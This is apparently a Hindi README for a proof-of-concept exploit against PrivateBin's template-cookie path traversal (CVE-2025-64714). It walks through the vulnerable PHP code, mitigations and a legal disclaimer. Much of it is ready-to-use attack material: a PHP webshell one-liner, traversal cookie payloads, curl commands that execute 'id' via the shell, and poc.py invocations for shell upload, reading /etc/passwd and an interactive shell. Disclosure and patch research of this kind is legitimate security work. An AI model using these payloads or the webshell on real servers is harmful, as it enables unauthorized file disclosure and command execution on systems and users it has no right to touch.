
प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट PrivateBin लोकल फाइल इन्क्लूजन (CVE-2025-64714) के लिए टेम्पलेट कुकी पथ ट्रैवर्सल के माध्यम से, जिसमें डिटेक्शन और आरसीई चेनिंग क्षमताएं शामिल हैं।
गंभीरता: मध्यम (CVSS v3.1: 5.8)
वेक्टर:AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N
प्रभावित संस्करण: PrivateBin >= 1.7.7
पैच किया गया संस्करण: 2.0.3
CWE: CWE-23 (सापेक्ष पथ ट्रैवर्सल), CWE-73 (फ़ाइल नाम या पथ का बाहरी नियंत्रण), CWE-98 (PHP फ़ाइल इन्क्लूज़न)
आधिकारिक सलाह: https://github.com/PrivateBin/PrivateBin/security/advisories/GHSA-g2j9-g8r5-rg82
रिपोर्टकर्ता: Benoit Esnard
PrivateBin संस्करण 1.7.7 ने एक टेम्पलेट-स्विचिंग सुविधा प्रस्तुत की, जो उपयोगकर्ताओं को template कुकी के माध्यम से अपने पसंदीदा विज़ुअल थीम को बनाए रखने की अनुमति देती है। कुकी मान के अपर्याप्त सत्यापन के कारण, एक अप्रमाणित हमलावर पथ ट्रैवर्सल अनुक्रम (जैसे ../) प्रदान कर सकता है जिससे सर्वर इच्छित tpl/ निर्देशिका के बाहर से एक मनमानी PHP फ़ाइल को शामिल कर सकता है — यह एक क्लासिक लोकल फ़ाइल इन्क्लूज़न (LFI) भेद्यता है।
जब एक अलग राइट प्रिमिटिव (गलत कॉन्फ़िगर किया गया अपलोड एंडपॉइंट, कोई अन्य भेद्यता, या स्थानीय पहुँच) के साथ जोड़ा जाता है, तो यह LFI रिमोट कोड एक्ज़ीक्यूशन (RCE) तक बढ़ सकता है।
44f8cfb, v1.7.7 में पेश किया गया)v1.7.7 से पहले, TemplateSwitcher::isTemplateAvailable() केवल उन्हीं टेम्पलेट को स्वीकार करता था जो पूर्व-परिभाषित अनुमति-सूची का हिस्सा थे:
// SAFE (before 1.7.7)
public static function isTemplateAvailable(string $template): bool
{
return in_array($template, self::getAvailableTemplates());
}
v1.7.7 में तीसरे पक्ष के थीम को समर्थन देने के लिए एक फ़ॉलबैक पथ जोड़ा गया। नया कोड यह जाँचता है कि फ़ाइल डिस्क पर मौजूद है या नहीं, बजाय इसके कि इसे सुरक्षित सूची के विरुद्ध मान्य किया जाए:
// VULNERABLE (1.7.7 – 2.0.2)
public static function isTemplateAvailable(string $template): bool
{
$available = in_array($template, self::getAvailableTemplates());
if (!$available && !View::isBootstrapTemplate($template)) {
$path = View::getTemplateFilePath($template);
$available = file_exists($path); // ← user-supplied $template पर भरोसा करता है
}
return $available;
}
View::getTemplateFilePath() केवल उपयोगकर्ता द्वारा प्रदान किए गए मान को फ़ाइलसिस्टम पथ में जोड़ता है:
// Simplified
return PATH . 'tpl' . DIRECTORY_SEPARATOR . $template . '.php';
template=../cfg/conf के साथ हल किया गया पथ बन जाता है:
/var/www/privatebin/tpl/../cfg/conf.php
──────────────────────────────────
= /var/www/privatebin/cfg/conf.php
realpath() का कोई कॉल नहीं है, .. अनुक्रमों को हटाने का कोई प्रयास नहीं है, और कोई जाँच नहीं है कि हल किया गया पथ tpl/ के भीतर रहता है।
एक बार जब isTemplateAvailable() true लौटाता है, तो View::draw() बिना शर्त पथ को शामिल करता है:
public function draw($template)
{
$path = self::getTemplateFilePath($template);
if (!file_exists($path)) {
throw new Exception('Template ' . $template . ' not found!', 80);
}
extract($this->_variables);
include $path; // ← हमलावर-नियंत्रित पथ यहाँ शामिल किया गया है
}
extract($this->_variables) भी इन्क्लूज़न से पहले चलता है, संभावित रूप से शामिल फ़ाइल के लिए उपलब्ध वेरिएबल नेमस्पेस को दूषित करता है।
एकमात्र अतिरिक्त गार्ड एक जाँच है जो bootstrap- से शुरू होने वाले स्ट्रिंग को ब्लॉक करता है:
if (!$available && !View::isBootstrapTemplate($template)) { … }
isBootstrapTemplate() केवल तब true लौटाता है जब स्ट्रिंग bootstrap- से शुरू होती है। ../data/shell जैसा पथ ट्रैवर्सल स्ट्रिंग इसे मामूली रूप से बायपास कर देता है।
दोनों शर्तें एक साथ सत्य होनी चाहिए:
| # | शर्त |
|---|---|
| 1 | cfg/conf.php में templateselection = true सेट किया गया है (गैर-डिफ़ॉल्ट) |
| 2 | हमलावर tpl/ से सापेक्ष पथ के माध्यम से मौजूदा .php फ़ाइल को संदर्भित कर सकता है |
शुद्ध LFI / सूचना-रिसाव के लिए, शर्त 2 पहले से ही मौजूदा PrivateBin PHP फ़ाइलों द्वारा पूरी होती है।
RCE के लिए, हमलावर को अतिरिक्त रूप से एक राइट प्रिमिटिव की आवश्यकता होती है ताकि एक PHP वेबशेल को एक सुलभ निर्देशिका (जैसे data/, लिखने योग्य अपलोड निर्देशिकाएँ, आदि) के अंतर्गत रखा जा सके।
हमलावर PrivateBin की अपनी PHP फ़ाइलों को पढ़ता है। अधिकांश एक गार्ड लाइन द्वारा सुरक्षित हैं जो 403 या 500 प्रतिक्रिया उत्पन्न करती है, लेकिन प्रतिक्रिया स्वयं LFI की पुष्टि करती है।
Cookie: template=../cfg/conf
सर्वर-साइड पर हल: tpl/../cfg/conf.php → cfg/conf.php
यहाँ तक कि 500 प्रतिक्रिया भी एक सार्थक संकेत है — यह साबित करता है कि फ़ाइल तक पहुँचा गया और PHP इंजन ने इसे निष्पादित करने का प्रयास किया।
⚠️ महत्वपूर्ण पूर्वापेक्षा: CVE-2025-64714 एक लोकल फ़ाइल इन्क्लूज़न भेद्यता है — यह केवल उन फ़ाइलों को शामिल कर सकता है जो पहले से सर्वर पर मौजूद हैं। यह अपने आप में कोई लेखन क्षमता प्रदान नहीं करता है। RCE प्राप्त करने के लिए आपको पहले पूरी तरह से अलग वेक्टर के माध्यम से एक राइट प्रिमिटिव प्राप्त करना होगा (जैसे किसी अन्य घटक में फ़ाइल-अपलोड भेद्यता, आंतरिक सेवा के लिए SSRF, या CTF/लैब वातावरण में प्रत्यक्ष फ़ाइलसिस्टम पहुँच)। राइट प्रिमिटिव के बिना, PoC के
--cmdऔर--interactiveमोड का कोई प्रभाव नहीं होता है। PoC स्क्रिप्ट केवल एक वेबशेल की खोज करती है जिसे आपको पहले से अन्य माध्यमों से रखना होगा।
चरण 1 — वेबशेल डालें किसी भी लेखन वेक्टर का उपयोग करके (जैसे कोई अन्य फ़ाइल-अपलोड भेद्यता, आंतरिक सेवा के लिए SSRF, या CTF/लैब परिदृश्य में प्रत्यक्ष फ़ाइलसिस्टम पहुँच):
// /var/www/privatebin/data/shell.php
<?php if(isset($_REQUEST['cmd'])){echo '<pre>'.shell_exec($_REQUEST['cmd']).'</pre>';} ?>
चरण 2 — टेम्पलेट कुकी के माध्यम से LFI ट्रिगर करें:
Cookie: template=../data/shell
हल: tpl/../data/shell.php → data/shell.php ✓
चरण 3 — GET पैरामीटर के माध्यम से कमांड निष्पादित करें:
curl -s -k \
--cookie 'template=../data/shell' \
-G --data-urlencode "cmd=id" \
https://bin.example.com
प्रतिक्रिया:
<pre>uid=33(www-data) gid=33(www-data) groups=33(www-data)</pre>
यदि अन्य PHP एप्लिकेशन समान वेब रूट साझा करते हैं (साझा होस्टिंग में सामान्य), तो उनकी कॉन्फ़िगरेशन फ़ाइलें पहुँच योग्य हो सकती हैं:
Cookie: template=../../other_app/config/database
pip install requests
# 1. पता लगाएँ कि लक्ष्य भेद्य है या नहीं
python3 poc.py --url https://bin.example.com --detect
# 2. एक विशिष्ट PHP फ़ाइल पढ़ने के लिए LFI ट्रिगर करें
python3 poc.py --url https://bin.example.com --template ../cfg/conf
# 3. वेबशेल अपलोड + ट्रिगर + एकल कमांड चलाएँ (RCE श्रृंखला)
python3 poc.py --url https://bin.example.com \
--upload-shell ../data/pwn \
--cmd "cat /etc/passwd"
# 4. इंटरैक्टिव स्यूडो-शेल
python3 poc.py --url https://bin.example.com \
--upload-shell ../data/pwn \
--interactive
# पता लगाने की जाँच
curl -s -k --cookie 'template=../cfg/conf' https://bin.example.com
# RCE (data/pwn.php में शेल लिखने के बाद)
curl -s -k \
--cookie 'template=../data/pwn' \
-G --data-urlencode "cmd=id" \
https://bin.example.com
PrivateBin टीम के अपने विश्लेषण में पाया गया कि ~300 सार्वजनिक रूप से सूचीबद्ध उदाहरणों में से 11 में templateselection सक्षम था, और प्रकटीकरण के समय किसी के पास असुरक्षित कॉन्फ़िगरेशन फ़ाइल नहीं थी। फिर भी, गलत कॉन्फ़िगर किए गए सेटअप या द्वितीयक लेखन भेद्यता वाले वातावरण में यह भेद्यता अभी भी महत्वपूर्ण है।
PrivateBin 2.0.3 या उसके बाद के संस्करण में अपग्रेड करें। फिक्स सख्त अनुमति-सूची सत्यापन को पुनर्स्थापित करता है — template कुकी मान केवल तभी स्वीकार किया जाता है यदि वह कॉन्फ़िगर की गई availabletemplates सूची से किसी टेम्पलेट नाम से बिल्कुल मेल खाता है।
cfg/conf.php में टेम्पलेट चयन अक्षम करें:
[main]
templateselection = false
यह डिफ़ॉल्ट मान है; इसे केवल तभी स्पष्ट रूप से सेट करने की आवश्यकता है यदि यह पहले सक्षम था।
यह रिपॉजिटरी केवल शैक्षिक उद्देश्यों और अधिकृत सुरक्षा परीक्षण के लिए प्रदान की गई है। लेखक किसी भी दुरुपयोग के लिए ज़िम्मेदार नहीं है। उन सिस्टमों के विरुद्ध परीक्षण करने से पहले हमेशा स्पष्ट लिखित अनुमति प्राप्त करें जिनके आप स्वामी नहीं हैं। अधिकांश न्यायक्षेत्रों में कंप्यूटर सिस्टम का अनधिकृत शोषण अवैध है।
| वेक्टर | प्रभाव | टिप्पणियाँ |
|---|
| LFI — PrivateBin कॉन्फ़िग | सीमित | डिफ़ॉल्ट कॉन्फ़िग फ़ाइल में PHP सुरक्षा लाइन है; 403/500 उत्पन्न करता है |
| LFI — पेस्ट डेटा फ़ाइलें | सीमित | प्रत्येक पेस्ट फ़ाइल में वही सुरक्षा लाइन शामिल होती है |
| LFI — तीसरे पक्ष की PHP फ़ाइलें | उच्च | सह-होस्ट किए गए एप्लिकेशन पर निर्भर करता है |
| LFI + राइट प्रिमिटिव → RCE | गंभीर | वेब-सर्वर उपयोगकर्ता के रूप में पूर्ण कमांड निष्पादन |